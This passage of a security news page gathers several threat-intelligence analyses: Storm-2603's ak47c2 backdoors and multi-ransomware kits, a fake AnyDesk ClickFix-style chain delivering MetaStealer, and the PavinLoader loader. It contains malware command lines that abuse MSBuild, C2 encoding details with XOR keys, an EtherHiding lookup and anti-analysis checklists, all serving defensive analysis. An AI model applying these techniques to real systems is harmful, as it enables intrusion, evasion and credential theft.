vulnerabilities. Specifically, the speed of applying security patches nowadays is the most important factor when it comes to fighting such vulnerabilities. Since public exploits for these dangerous vulnerabilities appear very soon after vulnerability announcements, it is paramount to install patches as soon as possible, as a gap of even a few hours can make a critical difference. At the same time, it is important to protect enterprise networks against zero-day exploits, which can be leveraged when there is no available public patch for vulnerabilities. In this regard, it is critical to equip machines with reliable cybersecurity solutions that have proven effective in combatting ToolShell attacks before they were publicly disclosed. Kaspersky Next with its Behaviour detection component proactively protects against exploitation of these vulnerabilities. Additionally, it is able to detect exploitation and the subsequent malicious activity. Kaspersky products detect the exploits and malware used in these attacks with the following verdicts: UDS:DangerousObject.Multi.Generic PDM:Exploit.Win32.Generic PDM:Trojan.Win32.Generic HEUR:Trojan.MSIL.Agent.gen ASP.Agent.* PowerShell.Agent.*
5 shared
Jul 31, 2025
US Tops Hit List as 396 SharePoint Systems Compromised Globally
Check Point Research (CPR) conducted a focused analysis of Storm-2603, a threat actor associated with recent ToolShell exploitations, together with other Chinese APT groups. Storm-2603 utilizes a custom malware Command and Control (C2) framework dubbed internally by the attacker as “ak47c2”. This framework includes at least two different types of clients: HTTP-based (dubbed by us “ak47http”) and DNS-based (dubbed by us “ak47dns”). Based on VirusTotal data, Storm-2603 likely targeted some organizations in Latin America throughout the first half of 2025, in parallel to attacking organizations in APAC. Some of the actor’s TTPs align with many other ransomware groups, and involve open-source tools such as PsExec and masscan. In addition, the threat actors use a custom tool that leverages the BYOVD (Bring Your Own Vulnerable Driver) technique to tamper with endpoint protections. Storm-2603 attacks involved multiple ransomware families, sometimes bundled together. Those are commonly deployed by abusing DLL hijacking. Check Point Research (CPR) has been closely monitoring the ongoing exploitation of a group of Microsoft SharePoint Server vulnerabilities collectively referred to as “ToolShell.” These active attacks leverage four vulnerabilities—CVE-2025-49704, CVE-2025-49706, CVE-2025-53770, and CVE-2025-53771—and are attributed to multiple China affiliated threat actors. Among the threat groups identified by Microsoft, two are known APTs: Linen Typhoon (aka APT27) and Violet Typhoon (aka APT31). Another group is a newly observed, previously undocumented cluster called Storm-2603. While Microsoft linked this cluster’s activity to potential ransomware deployment, it was unable to assess the group’s objectives. As part of our ongoing investigation into ToolShell and its associated risks, we launched a targeted effort to better understand and characterize the threat posed by Storm-2603. Throughout our analysis, we uncovered several files likely tied to Storm-2603 intrusions, offering new insights that correspond to Microsoft’s description of the group. In this publication, we provide an in-depth examination of Storm-2603’s tactics, techniques, and procedures (TTPs), along with a technical breakdown of the ak47c2, a custom malware framework used in their attacks and their different ransomware payloads. Storm-2603 was first mentioned by Microsoft during investigations into a set of attacks on Microsoft SharePoint servers, known as the “ToolShell” campaign. While some activity was tied to known Chinese affiliated groups like Linen Typhoon (APT27) and Violet Typhoon (APT31), Storm-2603 appeared as a new, previously unreported actor. Microsoft linked the group to Lockbit and Warlock ransomware use. Figure 1 – Events associated with Storm-2603. Microsoft’s report provided only limited information about Storm-2603, including some of the TTPs associated with it, most of them quite generic. In addition, some of the reported indicators of compromise (IOCs) helped us uncover additional artifacts associated with previous Storm-2603 intrusions. One domain in particular, update.updatemicfosoft[.]com, linked to Storm-2603’s SharePoint exploitation, turned out to have been used in earlier campaigns dating back to March 2025. In those operations, it served as a C2 server for both DNS tunneling malware and an HTTP backdoor and was part of infrastructure used to deliver LockBit Black and Warlock/x2anylock ransomware. Our search for cases where the IOCs reported by Microsoft, revealed two incidents in which LockBit Black and WarLock ransomware variants were deployed together, in addition to multiple other tools, mostly open-source. In April 2025, a RAR archive named Evidencia.rar was uploaded to VirusTotal. The archive contains several artifacts likely extracted from compromised machines in a Storm-2603 case in a LATAM country. The artifacts in the archive provide a look at some of the open-source tools used by the actors in the intrusions which correlates with previous knowledge of the group: WinPcap – Captures and filters network traffic on Windows. PsExec – Executes commands on remote Windows systems. SharpHostInfo – Collects host and domain info on Windows environments. nxc – Exploits common vulnerabilities in network services. In addition to the open-source tools, the archive also contains the custom backdoor used by the group, as well as its unique ransomware payloads. dnsclient.exe – A custom backdoor utilized by Storm-2603 that communicates over DNS tunneling with update.updatemicfosoft[.]com, a domain associated with the group. See the next section for our analysis of the backdoor. 7z.exe & 7z.dll – Legitimate 7z executable side-loading malicious 7z.dll delivering X2anylock (aka Warlock), a ransomware used by Storm-2603. bbb.msi – An installer which uses clink_x86.exe to side-load clink_dll_x86.dll, leading to the execution of LockBit Black ransomware. Another MSI file uploaded to VirusTotal in April used a similar deployment method, starting with the MSI installer to launch multiple ransomware strains simultaneously: Figure 2 – MSI Multi-Ransomware Deployment. The MSI relies on the following files: MpCmdRun.exe & Mpclient.dll – Warlock Ransomware, deployed via DLL-hijacking. clink_x86.exe & clink_dll_x86.dll – LockBit Black ransomware, deployed via DLL-hijacking. z.exe & z.dll – x2anylock ransomware, deployed via DLL-hijacking. VMToolsEng.exe – Custom Antivirus Terminator. ServiceMouse.sys – Vulnerable driver used by VMToolsEng.exe for killing Antivirus processes. log.exe – A list of Antivirus processes to kill. msi.bat – Executes VMToolsEng.exe. 1.bat – Executes all the needed executables and the MSI. We attributed two custom backdoors to Storm-2306, both of which appear to be part of the framework named AK47 C2 based on the shared PDB path: C:\Users\Administrator\Desktop\work\tools\ak47c2\. When executed, the program immediately hides its console window, determines the host computer name (defaulting to unknown.local if that fails), and builds a DNS‑based command‑and‑control payload. It chooses a random five-character session ID, such as H4T14, and prefixes it with 1 for task requests or 2 for result uploads (e.g., 1H4T14 or 2H4T14). Each element, such as the task/result tag, a size flag (a for “all” when the entire message fits into one request), and the computer name, is XOR‑encoded with the ASCII key “VHBD@H”, converted to hexadecimal, and concatenated with dots before being prepended to the C2 domain update.micfosoft[.]com. This what the overall query looks like: DNS TXT and MG (a mail group member record type) record lookups (DnsQuery_A) are used to transmit and retrieve data. If the C2 server is unreachable, the client simply receives error 9003 (DNS_ERROR_RCODE_NAME_ERROR). Otherwise, the response text is decoded from hex, XOR‑decrypted, and parsed for the delimiter “:::”, which separates metadata from the actual command string. Commands run under cmd.exe /c 2>&1; a built‑in directive sleep n pauses execution for n seconds. For outputs larger than 0xFF bytes, the backdoor fragments data into 63‑byte sub‑segments. Each DNS query then follows: HttpClient backdoor has the pdb path C:\Users\Administrator\Desktop\work\tools\ak47c2\httpclient-cpp\x64\Release\httpclient-cpp.pdb and uses plain HTTP instead of DNS for the C2. It is built as a 64‑bit console program that also immediately hides its window on launch. On start‑up, the malware gathers the host computer name (similar to the DNS version, it defaults to unknown.local), then builds a JSON object with the fields cmd, cmd_id, fqdn, result, and type. For a task request, the object looks like this: {"cmd":"","cmd_id":"","fqdn":" ","result":"","type":"task"} After the host executes a command, the result is sent back with type:”result”. Before transmission, the entire JSON blob is XOR‑encrypted with the ASCII key “VHBD@H”, converted to hexadecimal, and placed in the body of an HTTP POST to “/” with generic headers (Content‑Type: text/plain, Accept: */*). The C2 replies with a similarly encoded JSON where the cmd field contains the next command. The implant executes it via cmd.exe /c 2>&1 and returns the output. We identified that during these attacks, several types of ransomware were deployed simultaneously. One is regular LockBit Black, and the second uses the.x2anylock extension. This extension was later used by the Warlock ransomware operator, mentioned in Microsoft’s report on the SharePoint exploitation. The Warlock ransom note is usually saved as How to decrypt my data.txt and looks like this: Figure 3 – Warlock Group ransom note. The ransom notes for all ransomware strains deployed by Storm-2603 are named How to decrypt my data.log (x2anylock) or .README.txt (LockBit Black) and have the same short content: Your decrypt ID: [redacted] Tox ID Support: 3DCE[redacted] Email Support: [redacted]@proton.me,[redacted]@proton.me,[redacted]@proton.me You can contact us in email or qtox. This ransom note’s name How to decrypt my data.log appeared in a recent LinkedIn post by Huntress, describing the case where multiple ransomware families were deployed together against the same target. While not a new tactic, this approach is rarely observed among established ransomware groups. An important part of the infection package described earlier is called Antivirus Terminator. It is a custom command line tool abusing a third-party signed legitimate driver to kill processes. From what we can see, it’s been in the wild since at least late 2024. The tool requires administrative privileges on the infected machine. The screenshot below shows how the listing is displayed in the console when the tool is run without parameters: Figure 4 – Antivirus Terminator supported arguments when run without parameters. The tool first creates a service called ServiceMouse, where the path to the service binary file is ServiceMouse.sys from the package. Next, the tool communicates with the installed service via IO control code 0x99000050, which is responsible for killing processes. The tool also has more capabilities, like deleting files and uninstalling drivers, and these use different IO control codes (0x990000D0 and 0x990001D0). Figure 6 – Antivirus Terminator kills process using third-party driver. The supplied third-party driver is a legitimate and signed component of Antiy System In-Depth Analysis Toolkit, originally named AToolsKrnl64.sys. The toolkit was developed by Antiy Labs, a Chinese security vendor, and features a graphical user interface that allows users, among others, to interact with and manipulate processes. The ability to kill processes is the most important feature which is abused by threat actors in this particular case. Figure 7 – Antiy System In-Depth Analysis Tookit GUI. The following piece of code in the driver handles the IO control code 0x99000050 mentioned above: Figure 8 – IO control code processing in the Antiy driver. The second function is the piece of code responsible for killing a process with a given PID. In this report we analyze Storm-2603, a relatively new threat actor first mentioned by Microsoft during investigations into the “ToolShell” campaign targeting SharePoint servers. While some of the exploitation activity was tied to known Chinese APT groups, Storm-2603 stood out as a previously undocumented group linked to ransomware deployment. By examining infrastructure indicators shared in public reporting, we were able to connect this actor to earlier campaigns involving LockBit Black and Warlock/X2anylock ransomware, dating back to at least March 2025. These earlier attacks used similar infrastructure and tools, including DNS tunneling and HTTP-based backdoors. Interestingly, multiple ransomware variants were deployed in the same attack. This behavior, along with the overlap in techniques, helps us better understand how Storm-2603 operates “The Turkish Rat” Evolved Adwind in a Massive Ongoing Phishing Campaign Check Point Research Publications August 11, 2017 “The Next WannaCry” Vulnerability is Here Check Point Research Publications March 12, 2026 “Handala Hack” – Unveiling Group’s Modus Operandi SUBSCRIBE TO CYBER INTELLIGENCE REPORTS We value your privacy! BFSI uses cookies on this site. We use cookies to enable faster and easier experience for you. By continuing to visit this website you agree to our use of cookies.
5 shared
Aug 1, 2025
From ClickFix to MetaStealer: Dissecting Evolving Threat Actor Techniques
By John Hammond, Alden Schmidt, Lindsey Welch During the past fifteen business days, Huntress analysts have observed increased threat activity involving several notable techniques. One case involved a malicious AnyDesk installer, which initially mimicked a standard ClickFix attack through a fake Cloudflare verification page but then utilized Windows File Explorer and an MSI package masked as a PDF to deploy MetaStealer malware. Additionally, two incidents involving the Cephalus ransomware variant were detected. This ransomware distinguishes itself by employing DLL sideloading through a legitimate SentinelOne executable, SentinelBrowserNativeHost.exe, to launch the payload. These recent findings highlight the ongoing evolution in threat actor tradecraft, combining established social engineering methods with more technically advanced infection chains and evasive deployment strategies. ClickFix attacks have been ticking up for over a year now, as attackers find success in tricking users into executing malicious code on their computers using CAPTCHA-based lures. We’ve seen quite a bit of these types of attacks on our end, but we’ve also seen threat actors adopting ClickFix-esque techniques in attacks that don’t follow the exact ClickFix playbook. Recently, our very own John Hammond received an email from someone who had come across a fake AnyDesk installer while searching for the AnyDesk remote tool. While early indicators of the attack look like it would turn into another ClickFix scam, a little bit of digging shows a unique infection chain that involves a fake Cloudflare Turnstile lure, the Windows search protocol, and an MSI package disguised as a PDF that cleverly grabs the victim’s hostname. The attack ultimately aims to drop MetaStealer, a commodity infostealer that’s been around since 2022 and is known for harvesting credentials and stealing files. ClickFix, FileFix, and other ‘fix’ variants First, a quick primer on the widely used ClickFix technique. The premise of ClickFix is that threat actors convince users to “fix” a purported issue, usually with a CAPTCHA on a webpage that they arrive on via a phishing message, or otherwise. The “solution” is copying and pasting a command fed to victims via an attacker-controlled prompt, which quietly kicks off the attack chain. While the classic ClickFix attack tricks users to paste and run commands in their Windows Run dialog box or via PowerShell, other variants of the attack have also sprung up that take a different approach. A few months ago, attackers turned to a similar technique, dubbed FileFix, which involves Windows File Explorer instead of the Run dialog box. We’ve seen a number of incidents that stem from ClickFix attacks. In the August 26 incident shown in Figure 1 below, for instance, we responded to an attack where a user executed a malicious command given to them via a fake Cloudflare Turnstile, which is Cloudflare’s verification tool meant to replace CAPTCHAs for weeding out bots. This then downloaded and installed an infostealer. Closer investigation revealed that the victim had visited the landing page teams-one[.]com. This page showed a Cloudflare Turnstile and marked the beginning stage of the ClickFix attack. Though there are similarities that we’ll outline below, the run-of-the-mill ClickFix incident demonstrated above differs significantly from the MetaStealer attack that we recently came across. Hacker tradecraft’s evolving daily, so let’s break it down on Tradecraft Tuesday! Join us monthly for an in-depth look at attacker tradecraft—no sales or product talk involved. Sign up for the series today or catch up on previous episodes. No tricks, just tradecraft. Register for Tradecraft Tuesday A ClickFix-turned-not-fix attack: what we saw The initial link for the fake AnyDesk installer redirects users to https[://]anydeesk[.]ink/download/anydesk[.]html, which displays a Cloudflare Turnstile - and a very questionable UI. The page purports to support “Secure Access Verification”, prompting the user to click a single button on the Cloudflare Turnstile to “verify you are human.” A quick look at the underlying HTML for the webpage (using View Source) is shrouded by obfuscated JavaScript, but that can be easily unraveled with JavaScript deobfuscation tools available in the browser tools console. This reveals the actual source code - and reveals the window.location.href value to be https[://]verification[.]anydeesk[.]ink/reCAPTCHA-v2[.]php. Up to this point, this has all the tell-tale signs of a ClickFix campaign: it involves a classic human verification social engineering piece, and sets the end user up to click on a box. However, when the victim clicks the box, the prompts in this attack lead to Windows File Explorer, Windows’ file management tool, as opposed to the Windows Run dialog box as we have seen with ClickFix. This is more indicative of a FileFix attack—but this attack still isn’t strictly FileFix, where victims are prodded to launch the address bar in Windows File Explorer (using a Ctrl+L and Ctrl+V combination to paste a PowerShell command that was automatically copied to their clipboard). Instead, in this attack, the PHP above redirects users to the Windows protocol handler (search-ms URI), a legitimate feature enabling applications to kick off specific search queries in Windows File Explorer. The specific Windows File Explorer “Search” redirect location can be seen in Figure 4 below, which displays the name for a custom search query as part of the search-ms URI protocol. As seen in Figure 5 below, Windows File Explorer then directs the victim to an attacker-controlled SMB share, essentially a remote file share allowing clients to access files on a remote server over a network. Here, victims are presented with a Windows shortcut LNK file – however, this LNK file is disguised as a PDF file called Readme Anydesk.pdf. Fake PDF lure: snagging victim hostnames As you can see below, the LNK file’s payload is: Once clicked, this file’s payload kicks off a few processes. Here, cmd.exe starts the automatic download of a legitimate AnyDesk installer on Microsoft Edge, possibly as a way to avoid suspicion for the victim. Meanwhile, it also begins a download for another purported “PDF,” which is downloaded from chat1[.]store and dropped into the temporary directory. Notably, this fake PDF is configured to grab the %COMPUTERNAME% environment variable as a subdomain. Subdomains don’t need to know the user’s hostname ahead of time, so this is a clever way for the attacker to nab that information from the victim. The fake PDF is then installed by msiexec (revealing that it’s actually an MSI package) and the cmd.exe process is then killed. Upon closer inspection of chat1[.]store (reached through a curl user agent), we can see everything from the MSI package, including files that would have been triggered as part of the attack chain. The two important files in the MSI package are a DLL (CustomActionDLL) and a CAB archive (Binary.bz.WrappedSetupProgram) which contains several other files. The CAB file contains two additional malicious files: 1.js which is responsible for cleaning up the infection chain, and ls26.exe which is the MetaStealer dropper. The MetaStealer file (ls26.exe) is a very large binary and is protected with Private EXE Protector. Upon further inspection, the executable reveals the same types of behavior that we’ve seen in known samples of MetaStealer, such as stealing from crypto wallets. ClickFix variants and lessons learned ClickFix, FileFix, and even this alternate-ClickFix attack we recently found show the power of blending social engineering with mundane processes, like CAPTCHAs or other verification tools. Additionally, these types of attacks that require some level of manual interaction from the victim, as they work to “fix” the purported broken process themselves, work in part because they can potentially circumvent security solutions. The guidance for organizations in regards to ClickFix has previously centered around taking measures like disallowing users to use the Windows Run dialog box if it’s not needed for everyday tasks. While this can be effective against traditional ClickFix attacks, the variants like the one above show that threat actors are continuing to move the needle in their infection chains, throwing a wrench into detection and prevention. Organizations should take additional measures, including educating users about the lures linked to ClickFix-like attacks. Users should be trained on spotting CAPTCHAs that prompt them to copy and paste into the Run dialog box, or redirect to Windows File Explorer. Maintain Situational Awareness—Register for Tradecraft Tuesday Tradecraft Tuesday provides cybersecurity professionals with an in-depth analysis of the latest threat actors, attack vectors, and mitigation strategies. Each weekly session features technical walkthroughs of recent incidents, comprehensive breakdowns of malware trends, and up-to-date indicators of compromise (IOCs). Participants gain: Detailed briefings on emerging threat campaigns and ransomware variants Evidence-driven defense methodologies and remediation techniques Direct interaction with Huntress analysts for incident response insights Access to actionable threat intelligence and detection guidance Advance your defensive posture with real-time intelligence and technical education specifically designed for those responsible for safeguarding their organization’s environment. IOCs Sponsored and written by Huntress.
5 shared
Sep 23, 2025
Tracking PavinLoader across ClickFix and fake download campaigns
In our previous analysis of the malicious RenPy campaigns, we identified a multi-stage loader deployed as part of the infection chain. Further threat hunting has since shown that the same loader, which we track as PavinLoader , is being used across several different campaigns, including ClickFix attacks and fake software downloads.&nbsp; Despite differences in how these campaigns reach victims, we found several common elements. These include multi-stage infection chains involving heavily obfuscated and trojanized .NET DLLs; abuse of MSBuild, .csproj , and .bat files to execute them; and EtherHiding to retrieve the command-and-control (C2) domain.&nbsp; What an attack looks like The campaigns don’t all start the same way. A victim might encounter a fake CAPTCHA that tells them to run a command, download what appears to be legitimate software, or install a malicious game. What happens next is much more consistent. PavinLoader uses legitimate Windows tools alongside malicious .NET files to run several stages of malware. It also uses EtherHiding, a technique that uses a blockchain to hide information about its infrastructure, to find the server from which it should retrieve additional malware. In the RenPy campaign we analyzed, that process ultimately led to Amatera Stealer , malware designed to steal information from an infected computer. We also observed PavinLoader infections delivering additional malware. PavinLoader appears across multiple campaigns We have identified PavinLoader in several campaign clusters:&nbsp; Malicious RenPy campaigns, as analyzed in our earlier blog post Several ClickFix campaigns, including recent activity from the operator(s) covered in our previous analysis Fake software campaigns that used Dropbox to download PavinLoader.&nbsp; The loader’s use across multiple campaigns raises the possibility that PavinLoader is offered as a Loader-as-a-Service. We also found several artifacts that support this possibility, although they are not enough to confirm it. One specific artifact on VirusTotal is shared by more than 200 files associated with PavinLoader, suggesting it may be a compilation artifact of the build process. We also found a PowerShell script uploaded to VirusTotal containing comments such as EDIT HERE and REPLACE with a real direct link to your .bat . The associated BAT file contains the string Automated builder helper . However, we haven’t found a build panel or sales channels that would confirm PavinLoader is being offered commercially. The PowerShell script . Click to enlarge Part of the BAT file . Click to enlarge &nbsp; Although PavinLoader has changed over time, the campaigns we analyzed share several characteristics: Inno Setup or MSI installers generated with different builders that run the .bat and/or .csproj files Trojanized .NET DLLs, including DotNetZip, Nancy, Renci.SshNet, and OpenXML. In most of the cases analyzed, the inserted malicious methods follow a TwoWords or TwoWordsNumber naming pattern, such as DefaultEvaluator5 , and FallbackFactory5 A common obfuscation technique used across the .NET DLLs A naming convention based on two random words, such as&nbsp; GollopDevest , UnbrandRunover , and PavinWide , for DLL names, functions, strings, C2 paths, and other artifacts EtherHiding to obtain the C2 domain, followed by HTTP requests using paths such as assets/{two random words}.json to retrieve subsequent stages. C2 domains commonly use the .lat , .icu , .shop , and .cfd top-level domains MSBuild mechanisms for loading and executing code from DLLs, including property functions such as [System.Reflection.Assembly]::Load(...) and UsingTask Recurring filename patterns such as name_4characters.cmd/bat/msi/exe —for example, prefetch_9a59.cmd , telemetry_55db.cmd , and bootstrap_64be.cmd —or random nine-character names such as aegZpQ4C7.bat . We also observed short names including Small.msi , small.bat , and small.cmd PavinLoader consists of several .NET DLLs, and in the cases analyzed we identified the following stages:&nbsp; Loader DLL : A trojanized DLL—such as the Nancy one analyzed in our previous RenPy article—or a custom DLL. It performs anti-forensics and anti-analysis operations, changes network settings needed for the next operations, and loads the EtherHiding Loader EtherHiding Loader DLL : Obtains the C2 through EtherHiding and downloads the next stages from it&nbsp; Anti-Analysis DLL : Performs extensive anti-analysis checks to detect virtualized environments.&nbsp; PE Loader DLL : Loads the final PE payload. Intermediate payloads can vary depending on the campaign configuration. First, we’ll look at some of the methods used to distribute the initial PavinLoader stages. We’ll then return to the RenPy loader campaign we analyzed in our previous article to examine the loader’s later stages.&nbsp; Technical analysis The rest of this article takes a closer look at how PavinLoader is distributed and how each stage of the loader works. How PavinLoader is delivered We have observed PavinLoader being delivered through several ClickFix campaigns. In particular, we detected that the ClickFix cluster analyzed in a previous article has recently started using PavinLoader. Abuse of MSBuild and the use of .csproj and .bat files remain common across the infection chains we observed. We covered one example in our previous RenPy analysis. Here, we’ll look at several other distribution methods.&nbsp; The ClickFix Cloudflare page associated with this campaign . Click to enlarge &nbsp; As we saw in our previous analysis of these ClickFix campaigns, the associated PowerShell scripts change frequently. We found several versions in this activity, including both obfuscated and unobfuscated scripts. The PowerShell script associated with the ClickFix campaign. Click to enlarge In this example, the downloaded MSI from the Cloudflare bucket is called Installer_57be78.msi.&nbsp; MSI content . Click to enlarge The package contains: prefetch_2f76.exe : The legitimate MSBuild executable prefetch_2f76.csproj : Used to execute the Loader DLL through UsingTask DotNetZip.dll : The Loader DLL The .csproj file is executed with: "C:\Users\{USER}\AppData\Local\Logitech\Device Configuration Helper\prefetch_2f76.exe" /nologo "C:\Users\{USER}\AppData\Local\Logitech\Device Configuration Helper\prefetch_2f76.csproj" /nr:false The Loader DLL is a trojanized version of DotNetZip and is executed using the UsingTask element. “UsingTask” used to execute the DLL . Click to enlarge The malicious method inserted in the trojanized DLL. Click to enlarge.&nbsp; Unlike the RenPy example discussed in our previous article, the EtherHiding Loader is extracted from the DLL itself. An embedded resource is used as an index to extract bytes directly from the DLL, rather than obtaining those indexes from the .csproj file. We detected another campaign that uses BAT files containing fake BUILD VERIFICATION REPORT comments, apparently intended to make analysis and detection more difficult. In this case, the MSI CustomAction executes the BAT script with: cmd.exe /c C:\Users\{USER}\AppData\Local\Conexant\lite_bootstrap_2.1.7\updater_8219.cmd /launched Fake comments inserted in the updater_8219.cmd . Click to enlarge The obfuscated code appears below the fake comments. It concatenates multiple strings and uses indices generated through simple mathematical operations to reconstruct them. We found this type of obfuscation in most of the BAT files we analyzed. The obfuscated part of the .cmd file . Click to enlarge The BAT file locates conhost.exe and relaunches itself with: "C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c "C:\Users\{USER}\AppData\Local\Conexant\lite_bootstrap_2.1.7\updater_8219.cmd" /launched It then sets the MSBUILDENABLEALLPROPERTYFUNCTIONS=1 environment variable, locates MSBuild.exe , and executes it using the same file as input: "C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" "C:\Users\{USER}\AppData\Local\Conexant\lite_bootstrap_2.1.7\updater_8219.cmd" In this case, the Loader DLL is reconstructed by concatenating and decoding four Base64-encoded variables. Part of the CMD file showing the loading process. Click to enlarge The Loader DLL has a random name and appears to be an older version because it does not contain the custom bytecode and encrypted strings in its resources. As in the RenPy campaign analyzed previously, this stage retrieves the EtherHiding Loader stored between a Build-... marker in the CMD file through the _vezr environment variable, then decodes it using XOR with a 32-byte key. The extracted Loader DLL. Click to enlarge Having looked at several methods used to distribute PavinLoader’s first two stages, we will now return to the RenPy infection chain from our previous analysis and examine the loader itself in more detail. Analyzing PavinLoader The .NET DLLs associated with PavinLoader are heavily obfuscated using control-flow flattening, custom bytecode, indirect calls through calli / ldftn , string encryption with different algorithms, API hashing and delegates, redundant methods, and junk code and strings. We did not identify a known obfuscator associated with the samples, so to the best of our knowledge, PavinLoader uses a custom obfuscator. Because fully deobfuscating the samples would be complex, we used a hybrid approach combining dynamic analysis with method invocation through reflection. We identified important methods based on their imports and parameters, invoked them, and analyzed the resulting output. This approach does not provide complete coverage of the execution flow, but it allowed us to identify the loader’s core functionality and extract its intermediate stages. Because different functions frequently share the same names, we use metadata tokens to identify methods throughout the analysis. Nancy trojanized DLL: Loader DLL&nbsp; We covered this stage in detail in our previous blog post, so we’ll provide only an overview here. In most of the cases analyzed, the Loader DLL is a trojanized legitimate DLL. The malicious method typically uses a {RandomWord} or {RandomWord_Number} naming convention. The DLL contains a resource associated with the custom bytecode interpreted by the main method, two resources containing encrypted strings, and, in some cases, additional resources used as an index for extracting the next stage. Other resources appear to be decoys designed to slow analysis. In the samples we analyzed, this DLL typically: Decrypts strings from resources using multi-key XOR Resolves APIs using API hashing and GetDelegateForFunctionPointer() Changes network settings, including disabling TLS certificate validation and setting the default system proxy Performs an anti-analysis timing check using CreateEventW() , GetTickCount() , and WaitForSingleObject() Performs anti-forensics operations Loads the EtherHiding Loader either by extracting it from a marker inside .csproj or BAT files, or by using a resource as an index to retrieve bytes directly from the DLL GollopDevest: EtherHiding Loader&nbsp; The EtherHiding Loader has two main functions: obtaining the C2 domain through EtherHiding, and downloading and loading subsequent stages from that C2. Class 0x02000762 is responsible for decrypting strings associated with blockchain and network communication. The strings are decrypted by 0x060027BD as follows:&nbsp; Function 0x060027BB initializes the S-box using the XOR of the master key activeValues and the Base64-decoded optionsCollection string Function 0x060027BE takes childSyncObject as input and returns index bytes using XOR and permutations based on header values encoded in the first two characters of the string Function 0x060027B9 returns the decrypted string using the indexes and the previously generated S-box This was the only class we found with encryption parameters encoded in this format. For the remaining strings, we identified functions that returned decrypted data based on their parameter signatures—for example, methods returning strings or bytes—and invoked them through reflection. This allowed us to recover more than 1,300 strings. Part of the decrypted strings . Click to enlarge &nbsp; Among them were strings associated with AMSI and ETW patching: AmsiScanString System.Management.Automation.AmsiUtils System.Management.Automation.AmsiUtils+AmsiNativeMethods ntdll EtwEventWrite NtQueryInformationProcess NtSetInformationThread VirtualProtect More than 100 URLs belonging to legitimate services are also decrypted and used to generate HTTP requests and network noise. We did not observe this behavior in every sample, suggesting it may be build-specific. The Server class ( 0x02000052 ) generates the X-Timestamp , X-Nonce , and X-Signature HTTP headers and makes requests used to retrieve subsequent stages. Two HTTP requests are made to synchronize parameters and obtain the payload, with HMAC used to validate the requests. Using reflection, we executed method 0x06000A77 to obtain the header values needed to retrieve the subsequent stages. The C2 domain is obtained by making an ETH RPC (Remote Procedure Call) to bsc-dataseed.binance.org with the following JSON-RPC body: {"jsonrpc":"2.0","method":"eth_call","params":[{"to":" 0x328a1fadff154290f0ce1389a4e633698cdfdaa7 ","data":"0x06fdde03"},"latest"],"id":1783436775}&nbsp; The next stages are downloaded from the resulting C2 domain. The XOR-encoded payload is stored in the JSON response under cache.content : {"type":"cache-binary","meta":{"version":"2.3.1","timestamp":"…","platform":"win32-x64"},"cache":{"id":"e2b69…"," content ":" 1c.. "}}&nbsp; In this case, the C2 paths and XOR keys decrypted from this stage and the anti-analysis DLL are: Path &nbsp; XOR key &nbsp; Type/Function &nbsp; /assets/ExponeAboard.json&nbsp; QBBBfWow4lb&nbsp; PavinWride .NET DLL, Anti-analysis&nbsp;&nbsp; /assets/MailersKogasin.json&nbsp; WjcsVTKmuoBRqe&nbsp; GollopDevest .NET DLL, PE Loader&nbsp; /assets/LanoseThrip.json&nbsp; WwUX66Br&nbsp; WPA.exe PE executable, Amatera Stealer&nbsp; The next stage executed is the anti-analysis DLL.&nbsp; PavinWride: Anti-analysis DLL&nbsp; This DLL is responsible for performing several anti-analysis checks.&nbsp; The anti-analysis DLL executes system calls in different ways:&nbsp; Standard .NET Base Class Library (BCL) calls, including for registry and network operations Win32 P/Invoke calls, including GetCurrentThread , NtQueryInformationThread , NtQueryInformationProcess , and NtCurrentTeb Win32 APIs resolved through API hashing and a Process Environment Block (PEB) export table walk The function MenuItemService . ProcessDirectory ( 0x06000151 ) is the main method responsible for delegate caching and Win32 API resolution:&nbsp;&nbsp; It checks if the delegate is already resolved using managerMap.TryGetValue()&nbsp; If not, it calls ProcessDirectory (0x06000150) to obtain the HMODULE handle It calls ProcessDirectory (0x0600003A) that performs the PE export table walk and matches the hash. We detected that the same hashing output is obtained in several other methods (e.g., 0x06000039 , 0x0600003B , 0x0600004E ) It obtains the delegate with GetDelegateForFunctionPointer() and saves it in the dictionary Results of the API hashing script . Click to enlarge &nbsp; We used the same reflection approach to get the strings.&nbsp; Many strings are encrypted with the XOR key 4B729A1F5CE387D6 .&nbsp; Part of decrypted strings. Click to enlarge &nbsp; The loader obtains the system’s LCID using GetKeyboardLayoutList() and compares it against more than 17 languages, including Russian, Ukrainian, Belarusian, and Armenian. It also performs extensive system reconnaissance, including enumerating registry keys and calling Win32 APIs such as GetSystemFirmwareTable() and EnumSystemFirmwareTables() to identify virtualized environments. Category &nbsp; Value &nbsp; PCI vendor / device IDs &nbsp; VEN_80EE , VEN_15AD , VEN_1AB8 , VEN_5853 , VEN_1AF4 , VEN_1234&amp;DEV_111 , … SMBIOS/ACPI OEM IDs &nbsp; VMWARE , VBOX , BOCHS , VRTUAL , MSFTVM , MSHYPR , Xen , Parall , BHYVE , AMAZON , Google ACPI table signatures &nbsp; VBOX , BXPC , VMW , Xen , PRLS , AMZN , MICR BIOS/manufacturer/product strings &nbsp; vmware , vmw , innotek , virtualbox , vbox , qemu , seabios , bochs , standard pc , kvm virtual machine , xen , hvm domu , parallels Strings associated with anti-analysis checks Part of the registry key enumeration . Click to enlarge We also observed decrypted references to APIs including GetCurrentProcess() , CreateToolhelp32Snapshot() , Process32First() , Process32Next() , and OpenMutex() , although we did not observe these functions being called during our execution flow. An HTTP request is also made to one of these services:&nbsp; https://ipv4[.]ipleak[.]net/json/ https://get[.]geojs[.]io/v1/ip/geo[.]json https://ipapi[.]co/json/ https://api[.]ipapi[.]is/ https://ipinfo[.]io/json It also checks the returned data against 96 hosting or infrastructure providers and tests whether the region code is one of: RU , UA , BY , AM , KZ , KG , TJ , UZ , GE , AZ , or MD . Decrypted strings associated with providers . Click to enlarge If the anti-analysis checks pass, the next two stages are downloaded and decrypted using XOR keys. We patched SelectionScope.ProcessDirectory ( 0x06000014 ) to recover the C2 paths and XOR keys for those stages: /assets/MailersKogasin.json|WjcsVTKmuoBRqe|/assets/LanoseThrip.json|WwUX66Br GollopDevest: PE Loader DLL and Amatera Stealer The third DLL has the same name as the second, GollopDevest , but performs PE loading. Among its decrypted strings are: 'GollopMailers LDR DllBase VeneryCondole EdiyaFoully=0x{0:X} EdiyaStelae=0x{1:X}' 'GollopMailers LDR Flags missing IMAGE_DLL 0x{0:X8}' 'GollopMailers LDR SaranPisco invalid 0x{0:X}' 'GollopMailers LDR TlsIndex invalid {0}' 'GollopMailers 